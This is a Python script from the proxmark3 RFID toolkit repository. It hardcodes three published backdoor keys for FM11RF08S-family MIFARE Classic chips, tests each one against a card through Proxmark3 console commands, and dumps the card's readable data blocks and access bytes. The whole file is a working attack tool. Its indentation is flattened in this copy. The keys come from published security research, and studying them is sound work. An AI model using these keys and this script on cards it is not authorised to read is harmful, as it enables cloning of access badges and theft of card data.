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https://github.com/RfidResearchGroup/proxmark3.git
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44 lines
1.5 KiB
Python
44 lines
1.5 KiB
Python
#!/usr/bin/env python3
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# Uses the backdoor keys for the FM11RF08S (and similar) chipsets to quickly dump all the data they can read
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# Should work on vulnerable 1k and 4k chips
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# Based on the work in this paper: https://eprint.iacr.org/2024/1275
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import pm3
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import sys
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BACKDOOR_KEYS = [("A396EFA4E24F", "1k"), ("A31667A8CEC1", "1k"), ("518B3354E760", "4k")]
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WORKING_KEY = None
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required_version = (3, 8)
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if sys.version_info < required_version:
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print(f"Python version: {sys.version}")
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print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.")
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exit()
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p = pm3.pm3()
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# Test all the keys first to see which one works (if any)
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for bk, sz in BACKDOOR_KEYS:
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p.console(f"hf mf ecfill --{sz} -c 4 -k {bk}")
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output = p.grabbed_output.split('\n')
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if any("Card not found" in output_line for output_line in output):
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print("Error reading the tag:")
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print("\n".join(output))
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break
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elif any("Fill ( fail )" in output_line for output_line in output):
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continue
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elif any("Fill ( ok )" in output_line for output_line in output):
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WORKING_KEY = bk
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break
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else:
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print("Unexpected output, exiting:")
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print("\n".join(output))
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break
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if WORKING_KEY is None:
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print("None of the backdoor keys seem to work with this tag.")
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else:
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print(f"Backdoor key {WORKING_KEY} seems to work, dumping data...")
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print("IMPORTANT: Only data blocks and access bytes can be dumped; keys will be shown as all 0's")
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p.console(f"hf mf eview --{sz}", quiet=False)
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